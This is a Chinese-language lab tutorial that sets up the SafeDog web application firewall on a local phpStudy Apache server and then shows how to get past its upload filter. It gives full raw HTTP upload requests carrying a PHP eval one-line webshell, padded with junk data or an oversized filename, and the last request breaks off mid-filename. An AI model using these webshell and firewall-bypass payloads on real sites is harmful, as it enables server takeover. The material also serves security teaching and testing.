安全狗的安装

安全狗地址：网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改，选择windows操作系统，Apache版本选择4.0，一直默认安装即可

在默认安装时，会跳出需要填写关于Apache的服务名

首先，phpstudy关闭Apache服务，然后将运行模式更改为“系统服务”，打开管理员权限的cmd

使用管理员启动cmd，进入phpstudy/apache/bin目录

?cd c:/comsenzexp/apache/bin/httpd.exe

执行如下命令

httpd.exe -k install -n apache2.4

出现service is successfully installed 代表安装成功

在服务列表中出现apache服务

再次运行phpstudy，在安全狗的服务名一栏填写apache2.4即可

出现拦截页面，则代表安装成功

将安装好安全狗后，安全狗已经自动将需要的拦截开启了

再测试一下，先上传一句话木马，放包的时候，可以看到已经被拦截了

垃圾数据绕过：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 10139
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data;nxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwenxsuaeiuwiyidiuwwwwwwwwwwwww;wwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwednxsuaeiuwiyidiuwwwwwwwwwwwwwwwwwwwwwwedd; name="upload_file"; filename="1.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

数据包溢出绕过：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 7781
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa